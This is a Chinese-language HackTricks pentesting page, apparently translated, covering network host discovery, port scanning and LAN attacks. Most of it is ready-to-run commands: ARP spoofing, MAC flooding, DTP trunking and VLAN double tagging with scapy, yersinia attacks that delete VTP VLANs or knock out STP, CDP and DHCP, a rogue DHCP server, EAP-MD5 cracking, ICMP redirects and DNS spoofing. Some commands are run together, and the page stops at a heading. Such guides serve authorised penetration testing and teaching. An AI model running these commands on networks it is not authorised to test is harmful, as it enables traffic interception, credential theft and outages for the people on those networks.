.. | ||
dhcpv6.md | ||
eigrp-attacks.md | ||
glbp-and-hsrp-attacks.md | ||
ids-evasion.md | ||
lateral-vlan-segmentation-bypass.md | ||
network-protocols-explained-esp.md | ||
nmap-summary-esp.md | ||
pentesting-ipv6.md | ||
README.md | ||
spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md | ||
spoofing-ssdp-and-upnp-devices.md | ||
webrtc-dos.md |
Pentesting Network
{% hint style="success" %}
学习和实践 AWS 黑客技术:HackTricks 培训 AWS 红队专家 (ARTE)
学习和实践 GCP 黑客技术:HackTricks 培训 GCP 红队专家 (GRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 关注 我们的 Twitter 🐦 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 分享黑客技巧。
漏洞赏金提示:注册 Intigriti,一个由黑客为黑客创建的高级 漏洞赏金平台!今天就加入我们 https://go.intigriti.com/hacktricks,开始赚取高达 $100,000 的赏金!
{% embed url="https://go.intigriti.com/hacktricks" %}
从外部发现主机
这一部分将简要介绍如何找到 来自互联网的响应 IP。
在这种情况下,您有一些 IP 范围(甚至可能有多个 范围),您只需找出 哪些 IP 正在响应。
ICMP
这是发现主机是否在线的 最简单 和 最快 的方法。
您可以尝试发送一些 ICMP 数据包并 期待响应。最简单的方法是发送一个 回声请求 并期待响应。您可以使用简单的 ping
或使用 fping
进行 范围 测试。
您还可以使用 nmap 发送其他类型的 ICMP 数据包(这将避免常见 ICMP 回声请求-响应的过滤器)。
ping -c 1 199.66.11.4 # 1 echo request to a host
fping -g 199.66.11.0/24 # Send echo requests to ranges
nmap -PE -PM -PP -sn -n 199.66.11.0/24 #Send echo, timestamp requests and subnet mask requests
TCP Port Discovery
很常见的是,所有类型的 ICMP 数据包都被过滤。因此,您能做的就是 尝试查找开放端口。每个主机有 65535 个端口,所以,如果您有一个“大的”范围,您 无法 测试每个主机的 每个端口 是否开放,这将花费太多时间。
因此,您需要的是一个 快速端口扫描器 (masscan) 和一个 使用最频繁的端口 列表:
#Using masscan to scan top20ports of nmap in a /24 range (less than 5min)
masscan -p20,21-23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5900,8080 199.66.11.0/24
您也可以使用 nmap
执行此步骤,但速度较慢,并且 nmap
在识别主机时存在一些问题。
HTTP 端口发现
这只是一个 TCP 端口发现,当您想要 专注于发现 HTTP 服务 时非常有用:
masscan -p80,443,8000-8100,8443 199.66.11.0/24
UDP端口发现
您还可以尝试检查某些UDP端口是否开放,以决定是否应该更加关注一个主机。由于UDP服务通常不响应常规空UDP探测数据包,因此很难判断端口是被过滤还是开放。决定这一点的最简单方法是发送与正在运行的服务相关的数据包,由于您不知道正在运行哪个服务,您应该根据端口号尝试最可能的服务:
nmap -sU -sV --version-intensity 0 -F -n 199.66.11.53/24
# The -sV will make nmap test each possible known UDP service packet
# The "--version-intensity 0" will make nmap only test the most probable
提议的 nmap 命令将测试每个 /24 范围内的 前 1000 个 UDP 端口,但即使仅此也需要 >20min。如果需要 最快的结果,可以使用 udp-proto-scanner:./udp-proto-scanner.pl 199.66.11.53/24
这将向其 预期端口 发送这些 UDP 探测(对于 /24 范围,这只需 1 分钟):DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike, ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp.
SCTP 端口发现
#Probably useless, but it's pretty fast, why not trying?
nmap -T4 -sY -n --open -Pn <IP/range>
Pentesting Wifi
在这里,您可以找到一个关于撰写时所有知名Wifi攻击的良好指南:
{% content-ref url="../pentesting-wifi/" %} pentesting-wifi {% endcontent-ref %}
从内部发现主机
如果您在网络内部,您首先想要做的事情之一是发现其他主机。根据您可以/想要制造的噪音,可以执行不同的操作:
被动
您可以使用这些工具在连接的网络中被动发现主机:
netdiscover -p
p0f -i eth0 -p -o /tmp/p0f.log
# Bettercap
net.recon on/off #Read local ARP cache periodically
net.show
set net.show.meta true #more info
Active
请注意,在 从外部发现主机 (TCP/HTTP/UDP/SCTP 端口发现) 中提到的技术也可以应用于此。
但是,由于您与其他主机在同一网络中,您可以做更多事情:
#ARP discovery
nmap -sn <Network> #ARP Requests (Discover IPs)
netdiscover -r <Network> #ARP requests (Discover IPs)
#NBT discovery
nbtscan -r 192.168.0.1/24 #Search in Domain
# Bettercap
net.probe on/off #Discover hosts on current subnet by probing with ARP, mDNS, NBNS, UPNP, and/or WSD
set net.probe.mdns true/false #Enable mDNS discovery probes (default=true)
set net.probe.nbns true/false #Enable NetBIOS name service discovery probes (default=true)
set net.probe.upnp true/false #Enable UPNP discovery probes (default=true)
set net.probe.wsd true/false #Enable WSD discovery probes (default=true)
set net.probe.throttle 10 #10ms between probes sent (default=10)
#IPv6
alive6 <IFACE> # Send a pingv6 to multicast.
Active ICMP
注意,在 从外部发现主机 中评论的技术 (ICMP) 也可以 在这里应用。
但是,由于您与其他主机在 同一网络 中,您可以做 更多事情:
- 如果您 ping 一个 子网广播地址,ping 应该到达 每个主机,它们可能会 回应 您:
ping -b 10.10.5.255
- ping 网络广播地址,您甚至可以找到 其他子网 内的主机:
ping -b 255.255.255.255
- 使用
nmap
的-PE
、-PP
、-PM
标志进行主机发现,分别发送 ICMPv4 回显、时间戳和 子网掩码请求:nmap -PE -PM -PP -sn -vvv -n 10.12.5.0/24
Wake On Lan
Wake On Lan 用于通过 网络消息 开启 计算机。用于开启计算机的魔术数据包只是一个提供了 MAC Dst 的数据包,然后在同一个数据包中 重复 16 次。
然后,这种类型的数据包通常以 以太网 0x0842 或 UDP 数据包发送到端口 9。
如果 未提供 [MAC],数据包将发送到 广播以太网(广播 MAC 将是被重复的那个)。
# Bettercap (if no [MAC] is specificed ff:ff:ff:ff:ff:ff will be used/entire broadcast domain)
wol.eth [MAC] #Send a WOL as a raw ethernet packet of type 0x0847
wol.udp [MAC] #Send a WOL as an IPv4 broadcast packet to UDP port 9
扫描主机
一旦你发现了所有想要深入扫描的 IP(外部或内部),可以执行不同的操作。
TCP
- 开放端口: SYN --> SYN/ACK --> RST
- 关闭端口: SYN --> RST/ACK
- 过滤端口: SYN --> [无响应]
- 过滤端口: SYN --> ICMP 消息
# Nmap fast scan for the most 1000tcp ports used
nmap -sV -sC -O -T4 -n -Pn -oA fastscan <IP>
# Nmap fast scan for all the ports
nmap -sV -sC -O -T4 -n -Pn -p- -oA fullfastscan <IP>
# Nmap fast scan for all the ports slower to avoid failures due to -T4
nmap -sV -sC -O -p- -n -Pn -oA fullscan <IP>
#Bettercap Scan
syn.scan 192.168.1.0/24 1 10000 #Ports 1-10000
UDP
有两种选项来扫描UDP端口:
- 发送一个UDP数据包并检查响应_ICMP不可达_,如果端口是关闭的(在许多情况下,ICMP会被过滤,因此如果端口关闭或打开,您将不会收到任何信息)。
- 发送格式化的数据报以引发服务的响应(例如,DNS、DHCP、TFTP等,如_nmap-payloads_中列出)。如果您收到响应,那么端口是开放的。
Nmap将使用“-sV”混合这两种选项(UDP扫描非常慢),但请注意,UDP扫描比TCP扫描慢:
# Check if any of the most common udp services is running
udp-proto-scanner.pl <IP>
# Nmap fast check if any of the 100 most common UDP services is running
nmap -sU -sV --version-intensity 0 -n -F -T4 <IP>
# Nmap check if any of the 100 most common UDP services is running and launch defaults scripts
nmap -sU -sV -sC -n -F -T4 <IP>
# Nmap "fast" top 1000 UDP ports
nmap -sU -sV --version-intensity 0 -n -T4 <IP>
# You could use nmap to test all the UDP ports, but that will take a lot of time
SCTP 扫描
SCTP (流控制传输协议) 旨在与 TCP (传输控制协议) 和 UDP (用户数据报协议) 一起使用。其主要目的是促进通过 IP 网络传输电话数据,反映出许多在 信令系统 7 (SS7) 中发现的可靠性特征。SCTP 是 SIGTRAN 协议族的核心组成部分,旨在通过 IP 网络传输 SS7 信号。
各种操作系统提供对 SCTP 的支持,如 IBM AIX、Oracle Solaris、HP-UX、Linux、Cisco IOS 和 VxWorks,这表明其在电信和网络领域的广泛接受和实用性。
nmap 提供了两种不同的 SCTP 扫描: -sY 和 -sZ
# Nmap fast SCTP scan
nmap -T4 -sY -n -oA SCTFastScan <IP>
# Nmap all SCTP scan
nmap -T4 -p- -sY -sV -sC -F -n -oA SCTAllScan <IP>
IDS 和 IPS 规避
{% content-ref url="ids-evasion.md" %} ids-evasion.md {% endcontent-ref %}
更多 nmap 选项
{% content-ref url="nmap-summary-esp.md" %} nmap-summary-esp.md {% endcontent-ref %}
揭示内部 IP 地址
配置错误的路由器、防火墙和网络设备 有时会使用 非公共源地址 对网络探测做出响应。tcpdump 可用于识别在测试期间从私有地址接收到的数据包。具体来说,在 Kali Linux 上,可以在 eth2 接口 上捕获数据包,该接口可以从公共互联网访问。需要注意的是,如果您的设置位于 NAT 或防火墙后面,这些数据包可能会被过滤掉。
tcpdump –nt -i eth2 src net 10 or 172.16/12 or 192.168/16
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth2, link-type EN10MB (Ethernet), capture size 65535 bytes
IP 10.10.0.1 > 185.22.224.18: ICMP echo reply, id 25804, seq 1582, length 64
IP 10.10.0.2 > 185.22.224.18: ICMP echo reply, id 25804, seq 1586, length 64
Sniffing
通过嗅探,您可以通过查看捕获的帧和数据包来了解 IP 范围、子网大小、MAC 地址和主机名。如果网络配置错误或交换 fabric 处于压力状态,攻击者可以通过被动网络嗅探捕获敏感材料。
如果交换以太网网络配置正确,您将只看到广播帧和发送到您的 MAC 地址的材料。
TCPDump
sudo tcpdump -i <INTERFACE> udp port 53 #Listen to DNS request to discover what is searching the host
tcpdump -i <IFACE> icmp #Listen to icmp packets
sudo bash -c "sudo nohup tcpdump -i eth0 -G 300 -w \"/tmp/dump-%m-%d-%H-%M-%S-%s.pcap\" -W 50 'tcp and (port 80 or port 443)' &"
可以通过SSH会话使用Wireshark作为GUI实时捕获远程机器的数据包。
ssh user@<TARGET IP> tcpdump -i ens160 -U -s0 -w - | sudo wireshark -k -i -
ssh <USERNAME>@<TARGET IP> tcpdump -i <INTERFACE> -U -s0 -w - 'port not 22' | sudo wireshark -k -i - # Exclude SSH traffic
Bettercap
net.sniff on
net.sniff stats
set net.sniff.output sniffed.pcap #Write captured packets to file
set net.sniff.local #If true it will consider packets from/to this computer, otherwise it will skip them (default=false)
set net.sniff.filter #BPF filter for the sniffer (default=not arp)
set net.sniff.regexp #If set only packets matching this regex will be considered
Wireshark
显然。
捕获凭证
您可以使用像 https://github.com/lgandx/PCredz 这样的工具从 pcap 或实时接口中解析凭证。
LAN 攻击
ARP 欺骗
ARP 欺骗是指发送无偿的 ARP 响应,以指示某台机器的 IP 地址具有我们设备的 MAC 地址。然后,受害者将更改 ARP 表,并在每次想要联系伪造的 IP 时与我们的机器联系。
Bettercap
arp.spoof on
set arp.spoof.targets <IP> #Specific targets to ARP spoof (default=<entire subnet>)
set arp.spoof.whitelist #Specific targets to skip while spoofing
set arp.spoof.fullduplex true #If true, both the targets and the gateway will be attacked, otherwise only the target (default=false)
set arp.spoof.internal true #If true, local connections among computers of the network will be spoofed, otherwise only connections going to and coming from the Internet (default=false)
Arpspoof
echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -t 192.168.1.1 192.168.1.2
arpspoof -t 192.168.1.2 192.168.1.1
MAC Flooding - CAM overflow
通过发送大量具有不同源 MAC 地址的数据包来溢出交换机的 CAM 表。当 CAM 表满时,交换机开始像集线器一样工作(广播所有流量)。
macof -i <interface>
在现代交换机中,这个漏洞已经被修复。
802.1Q VLAN / DTP 攻击
动态干道
动态干道协议 (DTP) 被设计为一个链路层协议,以便于自动化的干道系统,允许交换机自动选择干道模式 (Trunk) 或非干道模式的端口。DTP 的部署通常被视为网络设计不佳的标志,强调了仅在必要时手动配置干道的重要性,并确保适当的文档记录。
默认情况下,交换机端口设置为动态自动模式,这意味着它们准备在邻近交换机的提示下启动干道。当渗透测试者或攻击者连接到交换机并发送 DTP Desirable 帧时,会引发安全问题,迫使端口进入干道模式。这一行为使攻击者能够通过 STP 帧分析枚举 VLAN,并通过设置虚拟接口来绕过 VLAN 分段。
许多交换机默认存在 DTP,敌手可以利用这一点模仿交换机的行为,从而获得对所有 VLAN 流量的访问。脚本 dtpscan.sh 被用来监控接口,揭示交换机是否处于默认、干道、动态、自动或接入模式——后者是唯一免受 VLAN 跳跃攻击的配置。该工具评估交换机的漏洞状态。
如果发现网络漏洞,可以使用 Yersinia 工具通过 DTP 协议“启用干道”,允许观察来自所有 VLAN 的数据包。
apt-get install yersinia #Installation
sudo apt install kali-linux-large #Another way to install it in Kali
yersinia -I #Interactive mode
#In interactive mode you will need to select a interface first
#Then, you can select the protocol to attack using letter "g"
#Finally, you can select the attack using letter "x"
yersinia -G #For graphic mode
要枚举VLAN,也可以使用脚本DTPHijacking.py**生成DTP Desirable帧。**在任何情况下都不要中断脚本。它每三秒注入一次DTP Desirable。交换机上动态创建的干道通道仅存在五分钟。五分钟后,干道将失效。
sudo python3 DTPHijacking.py --interface eth0
我想指出的是,Access/Desirable (0x03) 表示 DTP 帧是 Desirable 类型,这告诉端口切换到 Trunk 模式。并且 802.1Q/802.1Q (0xa5) 表示 802.1Q 封装类型。
通过分析 STP 帧,我们了解到 VLAN 30 和 VLAN 60 的存在。
攻击特定 VLAN
一旦你知道 VLAN ID 和 IP 值,你可以 配置一个虚拟接口来攻击特定 VLAN。
如果 DHCP 不可用,则使用 ifconfig 设置静态 IP 地址。
root@kali:~# modprobe 8021q
root@kali:~# vconfig add eth1 250
Added VLAN with VID == 250 to IF -:eth1:-
root@kali:~# dhclient eth1.250
Reloading /etc/samba/smb.conf: smbd only.
root@kali:~# ifconfig eth1.250
eth1.250 Link encap:Ethernet HWaddr 00:0e:c6:f0:29:65
inet addr:10.121.5.86 Bcast:10.121.5.255 Mask:255.255.255.0
inet6 addr: fe80::20e:c6ff:fef0:2965/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:19 errors:0 dropped:0 overruns:0 frame:0
TX packets:13 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:2206 (2.1 KiB) TX bytes:1654 (1.6 KiB)
root@kali:~# arp-scan -I eth1.250 10.121.5.0/24
# Another configuration example
modprobe 8021q
vconfig add eth1 20
ifconfig eth1.20 192.168.1.2 netmask 255.255.255.0 up
# Another configuration example
sudo vconfig add eth0 30
sudo ip link set eth0.30 up
sudo dhclient -v eth0.30
Automatic VLAN Hopper
讨论的攻击 动态干线和创建虚拟接口以发现其他 VLAN 中的主机 是 由工具自动执行的: https://github.com/nccgroup/vlan-hopping---frogger
Double Tagging
如果攻击者知道 受害主机的 MAC、IP 和 VLAN ID 的值,他可以尝试 双重标记一个帧,使用其指定的 VLAN 和受害者的 VLAN 并发送一个数据包。由于 受害者无法与攻击者连接,因此 攻击者的最佳选择是通过 UDP 进行通信,与可以执行一些有趣操作的协议(如 SNMP)。
攻击者的另一个选择是发起 TCP 端口扫描,伪装成一个由攻击者控制并且受害者可以访问的 IP(可能通过互联网)。然后,攻击者可以在他拥有的第二个主机上嗅探,如果它接收到来自受害者的一些数据包。
要执行此攻击,您可以使用 scapy: pip install scapy
from scapy.all import *
# Double tagging with ICMP packet (the response from the victim isn't double tagged so it will never reach the attacker)
packet = Ether()/Dot1Q(vlan=1)/Dot1Q(vlan=20)/IP(dst='192.168.1.10')/ICMP()
sendp(packet)
Lateral VLAN Segmentation Bypass
如果您可以访问直接连接的交换机,您就有能力绕过 VLAN 分段。只需将端口切换到干道模式(也称为干道),创建具有目标 VLAN ID 的虚拟接口,并配置 IP 地址。您可以尝试动态请求地址(DHCP),或者可以静态配置。具体取决于情况。
{% content-ref url="lateral-vlan-segmentation-bypass.md" %} lateral-vlan-segmentation-bypass.md {% endcontent-ref %}
Layer 3 Private VLAN Bypass
在某些环境中,例如访客无线网络,**端口隔离(也称为私有 VLAN)**设置被实施,以防止连接到无线接入点的客户端直接相互通信。然而,已经识别出一种可以规避这些隔离措施的技术。该技术利用网络 ACL 的缺失或配置不当,使得 IP 数据包能够通过路由器路由到同一网络上的另一个客户端。
攻击是通过创建一个携带目标客户端 IP 地址但带有路由器 MAC 地址的包来执行的。这导致路由器错误地将数据包转发给目标客户端。这种方法类似于双标记攻击中使用的方法,其中利用可访问受害者的主机的能力来利用安全漏洞。
攻击的关键步骤:
- 构造数据包: 特别构造一个数据包,以包含目标客户端的 IP 地址,但带有路由器的 MAC 地址。
- 利用路由器行为: 将构造的数据包发送到路由器,由于配置原因,路由器将数据包重定向到目标客户端,绕过私有 VLAN 设置提供的隔离。
VTP Attacks
VTP(VLAN Trunking Protocol)集中管理 VLAN。它利用修订号来维护 VLAN 数据库的完整性;任何修改都会增加此数字。交换机采用具有更高修订号的配置,更新自己的 VLAN 数据库。
VTP Domain Roles
- VTP Server: 管理 VLAN——创建、删除、修改。它向域成员广播 VTP 通告。
- VTP Client: 接收 VTP 通告以同步其 VLAN 数据库。此角色被限制进行本地 VLAN 配置修改。
- VTP Transparent: 不参与 VTP 更新,但转发 VTP 通告。不受 VTP 攻击影响,保持修订号为零。
VTP Advertisement Types
- Summary Advertisement: 每 300 秒由 VTP 服务器广播,携带重要的域信息。
- Subset Advertisement: 在 VLAN 配置更改后发送。
- Advertisement Request: 由 VTP 客户端发出,请求摘要通告,通常是响应检测到更高的配置修订号。
VTP 漏洞仅通过干道端口可被利用,因为 VTP 通告仅通过这些端口传播。在 DTP 攻击场景之后,可能会转向 VTP。像 Yersinia 这样的工具可以促进 VTP 攻击,旨在清除 VLAN 数据库,有效地破坏网络。
注意:本讨论涉及 VTP 版本 1(VTPv1)。
%% yersinia -G # Launch Yersinia in graphical mode ```
在Yersinia的图形模式中,选择删除所有VTP VLAN选项以清除VLAN数据库。
STP攻击
如果您无法在接口上捕获BPDU帧,那么您在STP攻击中成功的可能性不大。
STP BPDU DoS
发送大量的BPDUs TCP(拓扑变化通知)或Conf(在创建拓扑时发送的BPDUs),交换机会过载并停止正常工作。
yersinia stp -attack 2
yersinia stp -attack 3
#Use -M to disable MAC spoofing
STP TCP攻击
当发送TCP时,交换机的CAM表将在15秒内被删除。然后,如果您持续发送这种数据包,CAM表将不断重启(或每15秒重启一次),当它重启时,交换机的行为就像一个集线器。
yersinia stp -attack 1 #Will send 1 TCP packet and the switch should restore the CAM in 15 seconds
yersinia stp -attack 0 #Will send 1 CONF packet, nothing else will happen
STP Root Attack
攻击者模拟交换机的行为,以成为网络的 STP 根。然后,更多的数据将通过他传输。当你连接到两个不同的交换机时,这很有趣。
这是通过发送 BPDUs CONF 数据包来完成的,声称 优先级 值低于实际根交换机的实际优先级。
yersinia stp -attack 4 #Behaves like the root switch
yersinia stp -attack 5 #This will make the device behaves as a switch but will not be root
如果攻击者连接到两个交换机,他可以成为新树的根,所有在这些交换机之间的流量将通过他(将执行MITM攻击)。
yersinia stp -attack 6 #This will cause a DoS as the layer 2 packets wont be forwarded. You can use Ettercap to forward those packets "Sniff" --> "Bridged sniffing"
ettercap -T -i eth1 -B eth2 -q #Set a bridge between 2 interfaces to forwardpackages
CDP 攻击
CISCO 发现协议 (CDP) 对于 CISCO 设备之间的通信至关重要,使它们能够 相互识别并共享配置细节。
被动数据收集
CDP 被配置为通过所有端口广播信息,这可能导致安全风险。攻击者在连接到交换机端口时,可以部署网络嗅探器,如 Wireshark、tcpdump 或 Yersinia。此操作可以揭示有关网络设备的敏感数据,包括其型号和运行的 Cisco IOS 版本。攻击者可能会针对识别出的 Cisco IOS 版本中的特定漏洞。
引发 CDP 表泛洪
一种更激进的方法是通过假装是合法的 CISCO 设备来发起拒绝服务 (DoS) 攻击,从而压倒交换机的内存。以下是使用 Yersinia 这一网络工具发起此类攻击的命令序列:
sudo yersinia cdp -attack 1 # Initiates a DoS attack by simulating fake CISCO devices
# Alternatively, for a GUI approach:
sudo yersinia -G
在此攻击中,交换机的CPU和CDP邻居表负担沉重,导致通常所称的**“网络瘫痪”**,这是由于过度的资源消耗。
CDP冒充攻击
sudo yersinia cdp -attack 2 #Simulate a new CISCO device
sudo yersinia cdp -attack 0 #Send a CDP packet
您还可以使用 scapy。确保使用 scapy/contrib
包进行安装。
VoIP攻击和VoIP Hopper工具
VoIP电话,越来越多地与物联网设备集成,提供通过特殊电话号码解锁门或控制恒温器等功能。然而,这种集成可能会带来安全风险。
工具 voiphopper 旨在在各种环境中模拟VoIP电话(Cisco、Avaya、Nortel、Alcatel-Lucent)。它使用CDP、DHCP、LLDP-MED和802.1Q ARP等协议发现语音网络的VLAN ID。
VoIP Hopper 为Cisco发现协议(CDP)提供三种模式:
- 嗅探模式 (
-c 0
): 分析网络数据包以识别VLAN ID。 - 欺骗模式 (
-c 1
): 生成自定义数据包,模仿实际VoIP设备的数据包。 - 使用预制数据包的欺骗模式 (
-c 2
): 发送与特定Cisco IP电话型号相同的数据包。
速度优先的模式是第三种。它需要指定:
- 攻击者的网络接口(
-i
参数)。 - 被模拟的VoIP设备的名称(
-E
参数),遵循Cisco命名格式(例如,SEP后跟MAC地址)。
在企业环境中,为了模仿现有的VoIP设备,可以:
- 检查电话上的MAC标签。
- 浏览电话的显示设置以查看型号信息。
- 将VoIP设备连接到笔记本电脑,并使用Wireshark观察CDP请求。
在第三种模式下执行工具的示例命令为:
voiphopper -i eth1 -E 'SEP001EEEEEEEEE ' -c 2
DHCP 攻击
枚举
nmap --script broadcast-dhcp-discover
Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-16 05:30 EDT
WARNING: No targets were specified, so 0 hosts scanned.
Pre-scan script results:
| broadcast-dhcp-discover:
| Response 1 of 1:
| IP Offered: 192.168.1.250
| DHCP Message Type: DHCPOFFER
| Server Identifier: 192.168.1.1
| IP Address Lease Time: 1m00s
| Subnet Mask: 255.255.255.0
| Router: 192.168.1.1
| Domain Name Server: 192.168.1.1
|_ Domain Name: mynet
Nmap done: 0 IP addresses (0 hosts up) scanned in 5.27 seconds
DoS
对DHCP服务器可以执行两种类型的DoS。第一种是模拟足够多的虚假主机以使用所有可能的IP地址。
此攻击仅在您可以看到DHCP服务器的响应并完成协议时有效(Discover (Comp) --> Offer (server) --> Request (Comp) --> ACK (server))。例如,这在Wifi网络中是不可能的。
执行DHCP DoS的另一种方法是发送DHCP-RELEASE数据包,源代码使用每个可能的IP。然后,服务器会认为每个人都已经完成了对该IP的使用。
yersinia dhcp -attack 1
yersinia dhcp -attack 3 #More parameters are needed
一个更自动化的方法是使用工具 DHCPing
您可以使用提到的 DoS 攻击来强制客户端在环境中获取新租约,并耗尽合法服务器,使其变得无响应。因此,当合法服务器尝试重新连接时,您可以提供下一个攻击中提到的恶意值。
设置恶意值
可以使用位于 /usr/share/responder/DHCP.py
的 DHCP 脚本设置一个流氓 DHCP 服务器。这对于网络攻击非常有用,例如通过将流量重定向到恶意服务器来捕获 HTTP 流量和凭据。然而,设置流氓网关的效果较差,因为它仅允许捕获客户端的出站流量,错过来自真实网关的响应。相反,建议设置流氓 DNS 或 WPAD 服务器以进行更有效的攻击。
以下是配置流氓 DHCP 服务器的命令选项:
- 我们的 IP 地址(网关广告):使用
-i 10.0.0.100
将您的机器 IP 广告为网关。 - 本地 DNS 域名:可选地,使用
-d example.org
设置本地 DNS 域名。 - 原始路由器/网关 IP:使用
-r 10.0.0.1
指定合法路由器或网关的 IP 地址。 - 主 DNS 服务器 IP:使用
-p 10.0.0.100
设置您控制的流氓 DNS 服务器的 IP 地址。 - 次级 DNS 服务器 IP:可选地,使用
-s 10.0.0.1
设置次级 DNS 服务器 IP。 - 本地网络的子网掩码:使用
-n 255.255.255.0
定义本地网络的子网掩码。 - DHCP 流量的接口:使用
-I eth1
在特定网络接口上监听 DHCP 流量。 - WPAD 配置地址:使用
-w “http://10.0.0.100/wpad.dat”
设置 WPAD 配置的地址,以协助网络流量拦截。 - 伪造默认网关 IP:包括
-S
以伪造默认网关 IP 地址。 - 响应所有 DHCP 请求:包括
-R
使服务器响应所有 DHCP 请求,但要注意这会产生噪音并可能被检测到。
通过正确使用这些选项,可以有效地建立一个流氓 DHCP 服务器以拦截网络流量。
# Example to start a rogue DHCP server with specified options
!python /usr/share/responder/DHCP.py -i 10.0.0.100 -d example.org -r 10.0.0.1 -p 10.0.0.100 -s 10.0.0.1 -n 255.255.255.0 -I eth1 -w "http://10.0.0.100/wpad.dat" -S -R
EAP攻击
以下是可以针对802.1X实现使用的一些攻击策略:
- 通过EAP进行主动的暴力破解密码
- 使用畸形EAP内容攻击RADIUS服务器 **(利用)
- 捕获EAP消息并进行离线密码破解(EAP-MD5和PEAP)
- 强制EAP-MD5身份验证以绕过TLS证书验证
- 在使用集线器或类似设备进行身份验证时注入恶意网络流量
如果攻击者位于受害者与身份验证服务器之间,他可以尝试降级(如有必要)身份验证协议至EAP-MD5并捕获身份验证尝试。然后,他可以使用以下方法进行暴力破解:
eapmd5pass –r pcap.dump –w /usr/share/wordlist/sqlmap.txt
FHRP (GLBP & HSRP) 攻击
FHRP(第一跳冗余协议)是一类旨在创建热冗余路由系统的网络协议。通过FHRP,物理路由器可以组合成一个单一的逻辑设备,从而提高容错能力并帮助分配负载。
思科系统工程师开发了两种FHRP协议,GLBP和HSRP。
{% content-ref url="glbp-and-hsrp-attacks.md" %} glbp-and-hsrp-attacks.md {% endcontent-ref %}
RIP
已知存在三种路由信息协议(RIP)的版本:RIP、RIPv2和RIPng。RIP和RIPv2通过UDP的520端口向对等体发送数据报,而RIPng则通过IPv6组播向UDP的521端口广播数据报。RIPv2引入了对MD5身份验证的支持。另一方面,RIPng没有包含本地身份验证;相反,它依赖于IPv6中的可选IPsec AH和ESP头。
- RIP和RIPv2: 通过UDP数据报在520端口进行通信。
- RIPng: 利用UDP的521端口通过IPv6组播广播数据报。
请注意,RIPv2支持MD5身份验证,而RIPng不包括本地身份验证,依赖于IPv6中的IPsec AH和ESP头。
EIGRP 攻击
EIGRP(增强型内部网关路由协议)是一种动态路由协议。它是一种距离矢量协议。 如果没有身份验证和被动接口的配置,入侵者可以干扰EIGRP路由并导致路由表中毒。此外,EIGRP网络(换句话说,自治系统)是扁平的,没有划分为任何区域。如果攻击者注入一条路由,这条路由很可能会传播到整个自治EIGRP系统。
攻击EIGRP系统需要与合法EIGRP路由器建立邻居关系,这打开了许多可能性,从基本侦察到各种注入。
FRRouting 允许您实现支持BGP、OSPF、EIGRP、RIP和其他协议的虚拟路由器。 您只需在攻击者的系统上部署它,您实际上可以假装成为路由域中的合法路由器。
{% content-ref url="eigrp-attacks.md" %} eigrp-attacks.md {% endcontent-ref %}
Coly 具有拦截EIGRP(增强型内部网关路由协议)广播的能力。它还允许注入数据包,这可以用于更改路由配置。
OSPF
在开放最短路径优先(OSPF)协议中,通常使用MD5身份验证来确保路由器之间的安全通信。然而,这一安全措施可以通过像Loki和John the Ripper这样的工具被破坏。这些工具能够捕获和破解MD5哈希,暴露身份验证密钥。一旦获得该密钥,就可以用来引入新的路由信息。要配置路由参数并建立被破坏的密钥,分别使用_注入_和_连接_选项卡。
- 捕获和破解MD5哈希: 使用Loki和John the Ripper等工具。
- 配置路由参数: 通过_注入_选项卡进行。
- 设置被破坏的密钥: 密钥在_连接_选项卡下配置。
其他通用工具和资源
欺骗
攻击者通过发送虚假的DHCP响应来配置网络中新成员的所有网络参数(GW、IP、DNS)。
Ettercap
yersinia dhcp -attack 2 #More parameters are needed
ARP Spoofing
查看上一节。
ICMPRedirect
ICMP重定向是指发送一个ICMP数据包类型1代码5,表示攻击者是到达某个IP的最佳方式。然后,当受害者想要联系该IP时,它将通过攻击者发送数据包。
Ettercap
icmp_redirect
hping3 [VICTIM IP ADDRESS] -C 5 -K 1 -a [VICTIM DEFAULT GW IP ADDRESS] --icmp-gw [ATTACKER IP ADDRESS] --icmp-ipdst [DST IP ADDRESS] --icmp-ipsrc [VICTIM IP ADDRESS] #Send icmp to [1] form [2], route to [3] packets sent to [4] from [5]
DNS Spoofing
攻击者将解析受害者请求的某些(或所有)域名。
set dns.spoof.hosts ./dns.spoof.hosts; dns.spoof on
使用 dnsmasq 配置自己的 DNS
apt-get install dnsmasqecho "addn-hosts=dnsmasq.hosts" > dnsmasq.conf #Create dnsmasq.confecho "127.0.0.1 domain.example.com" > dnsmasq.hosts #Domains in dnsmasq.hosts will be the domains resolved by the Dsudo dnsmasq -C dnsmasq.conf --no-daemon
dig @localhost domain.example.com # Test the configured DNS
本地网关
系统和网络通常存在多个路由。在本地网络中建立 MAC 地址列表后,使用 gateway-finder.py 来识别支持 IPv4 转发的主机。
root@kali:~# git clone https://github.com/pentestmonkey/gateway-finder.git
root@kali:~# cd gateway-finder/
root@kali:~# arp-scan -l | tee hosts.txt
Interface: eth0, datalink type: EN10MB (Ethernet)
Starting arp-scan 1.6 with 256 hosts (http://www.nta-monitor.com/tools/arp-scan/)
10.0.0.100 00:13:72:09:ad:76 Dell Inc.
10.0.0.200 00:90:27:43:c0:57 INTEL CORPORATION
10.0.0.254 00:08:74:c0:40:ce Dell Computer Corp.
root@kali:~/gateway-finder# ./gateway-finder.py -f hosts.txt -i 209.85.227.99
gateway-finder v1.0 http://pentestmonkey.net/tools/gateway-finder
[+] Using interface eth0 (-I to change)
[+] Found 3 MAC addresses in hosts.txt
[+] We can ping 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100]
[+] We can reach TCP port 80 on 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100]
Spoofing LLMNR, NBT-NS, and mDNS
